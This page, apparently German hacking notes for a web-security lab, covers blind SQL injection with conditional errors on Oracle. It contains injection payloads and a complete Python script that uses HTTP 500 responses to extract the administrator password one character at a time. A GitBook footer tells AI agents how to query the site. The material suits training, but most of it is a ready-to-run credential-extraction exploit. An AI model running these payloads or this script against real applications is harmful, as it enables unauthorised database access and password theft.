> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Blindes SQL-Injection mit bedingten Fehlern

### Blind-SQL-Injection mit bedingten Fehlern

**Hintergrund:** der Wert von `TrackingId` Cookie wird in eine SQL-Abfrage injiziert. Die Anwendung gibt das Ergebnis nicht direkt zurück, löst aber einen \*\*HTTP-Fehler 500\*\* aus, wenn ein SQL-Ausdruck eine Ausnahme verursacht (hier `TO_CHAR(1/0)` unter Oracle). Wir verwenden diese Zeichenkette: Wenn die Bedingung wahr ist → Fehler 500, andernfalls Antwort 200. Die Datenbank enthält eine `users(username, password)` Tabelle. Ziel: Das Passwort aus `Administrator` extrahieren und verbinden.

#### Technisches Prinzip (kurz)

* Das Cookie enthält einen Ausdruck, der einen Fehler erzwingt, wenn die Bedingung wahr ist, z. B. (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Wenn `<condition>` ist wahr → Anfrage verursacht Division durch Null → Anwendung gibt `500` → Bit = 1. Andernfalls `200` → Bit = 0.
* Verwenden Sie `SUBSTR`/`LENGTH` um Zeichen für Zeichen zu extrahieren.

#### Beispiel-Payloads (Oracle)

* Vorhandensein des Benutzers überprüfen:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Länge testen = 20:

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Ein Zeichen an Position i testen:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / Struktur kann je nach der in die Anwendung injizierten Anfrage angepasst werden.)

### Automatisiertes Skript

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Sauberes Handling von Strg+C
def def_handler(sig, frame):
    print("/nUnterbrochen. Beende./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Konfiguration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # legitimer Teil der TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # maximale zu testende Länge
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # anpassen, falls du das Alphabet kennst

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Hilfsfunktionen ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] Anfrage fehlgeschlagen: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Erstellt die vollständige TrackingId für Oracle:
    z. B.: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Die Bedingung in die Unterabfrage einhüllen, die eine Zeile für den Admin zurückgibt.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Schritt 1: Passwortlänge erkennen (optional, aber nützlich) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Erkenne Passwortlänge...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Erkannte Länge: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] Keine Länge <= max_len erkannt; erwäge, max_len zu erhöhen")
    return None

# --- Schritt 2: Extraktion Zeichen für Zeichen ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # Fallback: Positionen testen, bis ein Fehler auftritt
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraktion (angenommene Länge = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (Passwort bisher: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # kurze Pause zwischen den Versuchen
            time.sleep(0.01)
        if not found:
            print(f"[-] Kein Zeichen an Position {pos} gefunden -> wahrscheinliches Ende. Passwort: {password}")
            break
    return password

if __name__ == "__main__":
    # Länge erkennen und dann extrahieren
    detected_len = detect_length(max_len=30)   # max_len an die Umgebung anpassen
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Wiederhergestelltes Passwort (teilweise/geschätzt): {recovered}/n")
```

<figure><img src="/files/f10ae23ea807e6a4ac1abd2d436fdad19be6170f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
